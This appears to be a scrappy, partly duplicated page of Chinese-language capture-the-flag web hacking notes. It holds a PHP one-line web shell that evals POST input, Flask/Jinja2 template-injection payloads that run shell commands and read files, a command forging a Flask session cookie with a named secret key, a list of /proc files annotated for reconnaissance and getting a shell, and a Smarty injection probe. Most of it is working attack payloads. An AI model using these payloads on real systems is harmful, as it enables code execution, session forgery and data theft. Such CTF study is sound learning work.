2687 shaares
curl
<?php @Eval($_POST['shell']);?>
{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}
姿势总结
flask session伪造
unicode欺骗
条件竞争
flask session伪造
unicode欺骗
条件竞争
/proc/sched_debug # 提供cpu上正在运行的进程信息,可以获得进程的pid号,可以配合后面需要pid的利用
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
/proc/mounts # 挂载的文件系统列表
/proc/net/arp # arp表,可以获得内网其他机器的地址
/proc/net/route # 路由表信息
/proc/net/tcp and /proc/net/udp # 活动连接的信息
/proc/net/fib_trie # 路由缓存
/proc/version # 内核版本
/proc/[PID]/cmdline # 可能包含有用的路径信息
/proc/[PID]/environ # 程序运行的环境变量信息,可以用来包含getshell
/proc/[PID]/cwd # 当前进程的工作目录
/proc/[PID]/fd/[#] # 访问file descriptors,某写情况可以读取到进程正在使用的文件,比如access.log
python dirsearch.py -u URL -e extension
我最终成功的形式:{{[].__class__.__mro__[1].__subclasses__()[40](\'flag.py\').read()}}'}",使用flask-session-cookie-manager完整的命令形式:python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code' : '{{[].__class__.__mro__[1].__subclasses__()[40](\'flag.py\').read()}}'}"
关于/proc/目录
session的值为eyJ1c2VybmFtZSI6InFhcSJ9.Dxclgg.FMNAqa5Zk2wqg6S6WPyOQm-nU68
其中eyJ1c2VybmFtZSI6InFhcSJ9为base64编码后session的内容。
其中eyJ1c2VybmFtZSI6InFhcSJ9为base64编码后session的内容。
sqlmap跑
1-web-wp-5
smarty
{$smarty.version} #获取smarty的版本号